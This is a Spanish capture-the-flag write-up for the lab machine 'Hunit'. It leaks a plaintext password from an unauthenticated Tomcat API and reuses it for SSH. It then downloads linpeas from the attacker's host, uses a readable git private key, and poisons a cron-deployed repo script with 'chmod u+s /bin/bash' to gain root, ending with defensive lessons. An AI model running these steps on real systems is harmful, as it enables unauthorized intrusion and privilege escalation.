Hunit
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Una API REST mal protegida en el Tomcat de Hunit (8080) expone la tabla de usuarios con contraseñas en claro (fuga de información en APIs); condademolaentramos por SSH (reutilización de credenciales). Como usuario encontramos una clave privada SSH legible que da acceso a un repositorio Git querootdespliega por cron. Envenenamos un script del repo, hacemospushy el cron lo ejecuta comoroot(RCE vía repo Git en cron), poniendo el bit SUID abash.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. La caja solo expone cuatro puertos, todos en rangos altos:
ping -c 1 192.168.206.125
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.206.125PORT STATE SERVICE
8080/tcp open http
12445/tcp open netbios-ssn
18030/tcp open http
43022/tcp open sshnmap -p8080,12445,18030,43022 -sCV 192.168.206.125 -oN targetedScanPORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat (language: en)
|_http-title: My Haikus
12445/tcp open netbios-ssn Samba smbd 4
18030/tcp open http Apache httpd 2.4.46 ((Unix))
|_http-title: Whack A Mole!
43022/tcp open ssh OpenSSH 8.4 (protocol 2.0)Nada está donde se espera: el SSH vive en el 43022, el Samba en el 12445 y hay dos servidores web. El 8080 sirve una aplicación Tomcat llamada My Haikus, candidata principal por ser una aplicación de negocio (la otra, Whack A Mole! en el 18030, parece un juego estático).
TCP 8080: descubrimiento de rutas
Lanzamos un descubrimiento de contenido sobre la aplicación de haikus:
dirsearch -u http://192.168.206.125:8080/ --exclude-status=403,404 -t 200[13:50:37] 200 - 148B - /api/
[13:50:46] 500 - 105B - /error/Aparece un endpoint /api/. Una aplicación con API REST suele ser más interesante que su frontend: las APIs a menudo exponen objetos internos sin el control de acceso que sí tiene la web.
API REST: contraseñas en claro
Pedimos el índice de la API y vamos recorriendo los recursos que ofrece. Uno de ellos es /user/:
curl http://192.168.206.125:8080/api/ | jq
curl http://192.168.206.125:8080/api/user/ | jq[
{
"login": "dademola",
"password": "ExplainSlowQuest110",
"firstname": "Derik",
"lastname": "Ademola",
"description": "Admin",
"id": 6
}
]El endpoint /api/user/ devuelve la tabla de usuarios completa con las contraseñas en texto plano (fuga de información en APIs). No hay autenticación ni filtrado: cualquiera que conozca la ruta lee credenciales reales. Nos quedamos con dademola:ExplainSlowQuest110, marcado como Admin.
Shell como dademola
SSH con las credenciales filtradas
Probamos la credencial directamente contra el SSH del puerto 43022 (reutilización de credenciales):
ssh dademola@192.168.206.125 -p 43022
dademola@192.168.206.125's password:
Last login: Fri Jan 16 13:00:15 2026 from 192.168.45.177
[dademola@hunit ~]$ whoami
dademolaEntra a la primera. Leemos la prueba de usuario:
cat local.txt && whoami && ip a
4c2832e08ee5b8075e6ec5c196a17d0cEscalada de privilegios
Enumeración: una clave privada SSH legible
Subimos linpeas.sh (repo) y lo ejecutamos para enumerar el sistema:
# en Kali
python3 -m http.server 8080# en hunit
wget http://192.168.45.177:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.shLa sección de Cron jobs de linpeas marca en rojo /etc/crontab.bak, una copia del crontab que no debería estar ahí y que confirma que la caja tiene tareas programadas propias (los cron.d/cron.daily por defecto solo traen 0hourly):

╔══════════╣ Cron jobs
/usr/bin/crontab
incrontab Not Found
-rw-r--r-- 1 root root 74 Oct 31 2019 /etc/cron.deny
-rw-r--r-- 1 root root 66 Jan 15 2021 /etc/crontab.bak
/etc/cron.d:
total 12
-rw-r--r-- 1 root root 128 Oct 31 2019 0hourly
/etc/cron.daily:
total 8Ese crontab.bak es la primera pista de que algo se ejecuta periódicamente como root; el qué se confirmará más adelante, cuando el bit SUID aparezca solo. Más abajo, linpeas resalta una clave privada SSH legible en el home de un usuario git: /home/git/.ssh/id_rsa. Es un material sensible que no debería ser accesible y que sugiere la existencia de un servidor Git interno:

Searching ssl/ssh files
-rwxr-xr-x 1 root root 2590 Nov 5 2020 /home/git/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn...<SNIP>La clave /home/git/.ssh/id_rsa es legible (-rwxr-xr-x), lo que sugiere un servidor Git interno.
Repositorio Git desplegado por cron
Copiamos la clave, le damos permisos restrictivos y la usamos para clonar el repositorio git-server a través del SSH del puerto 43022:
cp /home/git/.ssh/id_rsa .
chmod 600 id_rsa
GIT_SSH_COMMAND="ssh -i id_rsa -p 43022" git clone git@localhost:/git-server
ls
Cloning into 'git-server' ...
remote: Enumerating objects: 12, done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.
[dademola@hunit tmp]$ ls
git-server id_rsa linpeas.shEl repositorio contiene un backups.sh. La pieza que cierra la cadena es que root ejecuta ese script por cron tras desplegar el repositorio: si modificamos backups.sh y enviamos el cambio, el cron lo correrá con privilegios de root (RCE vía repo Git en cron). Como tenemos la clave privada del usuario git, podemos hacer push.
Envenenar el script y hacer push
Dentro del repo hay tres ficheros (NEW_CHANGE, README y backups.sh) y el script está prácticamente vacío: solo un comentario # # Placeholder. Eso es lo que hace la trampa tan cómoda, porque añadir una línea al final no rompe nada de lo que el cron esperaba ejecutar. Le ponemos el chmod u+s /bin/bash, lo dejamos ejecutable y lo preparamos para el commit:
cd git-server/
ls
cat backups.sh
echo 'chmod u+s /bin/bash' >> backups.sh
chmod 777 backups.sh
git add .
[dademola@hunit tmp]$ cd git-server/
[dademola@hunit git-server]$ ls
NEW_CHANGE README backups.sh
[dademola@hunit git-server]$ cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#git no deja confirmar sin identidad, así que se configura una cualquiera y se hace el commit:
git config --global user.name "Dademola"
git config --global user.email "dademola@example.com"
git commit -m "pwned" .
[master d23e940] pwned
1 file changed, 1 insertion(+)
mode change 100644 => 100755 backups.shEl commit registra las dos cosas que interesan: la línea añadida y el cambio de modo a 100755, es decir, que el fichero viaja ya con permiso de ejecución. Solo queda enviarlo:
GIT_SSH_COMMAND="ssh -i /tmp/id_rsa -p 43022" git push origin master
Enumerating objects: 5, done.
Writing objects: 100% (3/3), 347 bytes | 347.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
To localhost:/git-server
b50f4e5..d23e940 master -> masterEl push entra: master -> master. Ahora solo hay que esperar al cron de root.
bash con SUID, a root
Esperamos a que el cron de root despliegue el repositorio y ejecute nuestro backups.sh. Al poco, /bin/bash aparece con el bit SUID activo; lanzamos bash -p para conservar el euid=0 (abuso de SUID):
ls -l /bin/bash
bash -p
whoami
-rwsr-xr-x 1 root root 928016 Aug 9 2020 /bin/bashLeemos la prueba final:
cat /root/proof.txt && whoami && ip a
d9521a48baf0a2993fdaccd48f6671b1Cadena de ataque
Tomcat /api/user/ (8080) -- tabla de usuarios con contrasenas en claro -> dademola:ExplainSlowQuest110
│ ssh -p 43022 (reutilizacion de credenciales)
▼
shell como dademola (local.txt)
│ linpeas -> /home/git/.ssh/id_rsa legible
│ git clone git@localhost:/git-server (repo desplegado por cron de root)
▼
backups.sh envenenado (chmod u+s /bin/bash) + git push
│ cron de root ejecuta backups.sh
▼
/bin/bash con SUID -> bash -p -> root (proof.txt)Lecciones aprendidas
- Las APIs filtran lo que el frontend protege. La web no mostraba contraseñas, pero
/api/user/las servía en claro sin autenticación. Toda superficie REST debe aplicar el mismo control de acceso y nunca devolver campos sensibles. - Contraseñas en texto plano y reutilizadas. El mismo valor abrió el SSH. Hashear las credenciales y no reutilizarlas habría cortado el salto entre la API y el acceso interactivo.
- Una clave privada legible es una puerta.
/home/git/.ssh/id_rsaaccesible por otro usuario entrega el control del repositorio. Las claves privadas deben tener permisos600y dueño exclusivo. - Automatizar con permisos de root sobre contenido modificable es peligroso. Que
rootdespliegue y ejecute por cron un repositorio en el que un usuario puede escribir convierte ungit pushen ejecución de código comoroot. El pipeline debe validar y firmar lo que ejecuta, y correr con el mínimo privilegio.